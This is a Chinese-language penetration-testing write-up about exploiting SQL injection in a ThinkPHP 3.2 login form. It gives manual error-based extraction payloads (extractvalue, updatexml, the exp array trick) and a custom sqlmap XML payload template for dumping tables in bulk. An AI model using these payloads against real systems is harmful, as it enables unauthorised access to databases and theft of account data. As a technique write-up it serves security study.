#0x01 登录框存在sql注入:
通过前期的信息搜集,发现站点使用thinkphp3.2版本的框架,在登录页面验证存在sql注入:

成功读取到数据库版本:

#0x02 尝试通过手工注入获取后台账号
遗憾的是sqlmap连注入都识别不出:

--proxy=http://127.0.0.1:8080,将sqlmap的流量转发到burp分析payload,发现sqlmap发出的包多加了一个AND:

换手工注入:
查表名payload:extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

查列名payload:extractvalue(1,concat(0x7e,(select group_concat(column_name) form information_schema.columns where table_name='xxx'),0x7e),1) ,结果没有触发报错:

- 分析原因:报错注入的错误信息最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位。查表名时,db_addo后面还有数据,所以db_addo这个表名是不全的。
- limit分页:password=admin&username[0]=exp&username[1]==updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='xxx' limit 3,1),0x7e),1)
//limit 3,1 读取第四条数据,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。

批量获取表名数据:

#0x03 尝试更换sqlmap的payload,全程自动化读取
- 理清sqlmap指定报错注入时获取数据的流程,三个重要标签:payload>,vector,<grep> 。
1、首先获取payload标签的内容,这个标签也是我们可以控制的标签,这个标签就是用来判断是否有注入点,一般我们手动测到有报错注入的注入点的时候,就可以把payload放在这里
2、 接着对payload里面的[]中的标志位换成随机的字符或数字
3、然后对payload进行url编码,同时设置请求头,包括referer,host等信息
4、请求后返回获取的页面,然后将返回的页面和<grep>中的内容继续宁正则匹配,匹配后,如果返回值不为1,那么就会继续循环测试其它的payload。如果正则匹配返回值为1,那么,表示存在注入,此时就会进行其他数据的查询
5、返回值是1,接着就会调用vector,调用注入模板,将([query]),换为其它的payload,获取我们想要的信息。
- 添加payload。sqlmap的payload在sqlmap/xml/payloads目录下(新版本在data/xml/payloads下),关键是文件夹里的六个对应不同注入类型的配置文件和boundaries.xml文件。找到对应xml文件:

- 替换vector和payload标签中对应的值,标题、level、risk自定义即可,一个完整的模板以<test>,已</test>结束,这样得出适用于此场景的注入模板:
<test>
<title>Customed By Kevil (EXTRACTVALUE)</title>
<stype>2</stype>
<level>4</level>
<risk>1</risk>
<clause>1,2,3,8,9</clause>
<where>1</where>
<vector>EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
<request>
<payload>EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
</request>
<response>
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>>= 5.1</dbms_version>
</details>
</test>
#0x04 测试效果

由于sqlmap自带的payload并不适用于所有测试场景,很多时候手工验证或者其他工具(xray)扫描出来的sql注入,sqlmap都无法识别出注入,此时自定义sqlmap的payload就更方便读取大批量数据。
本文迁移自知识星球“火线Zone”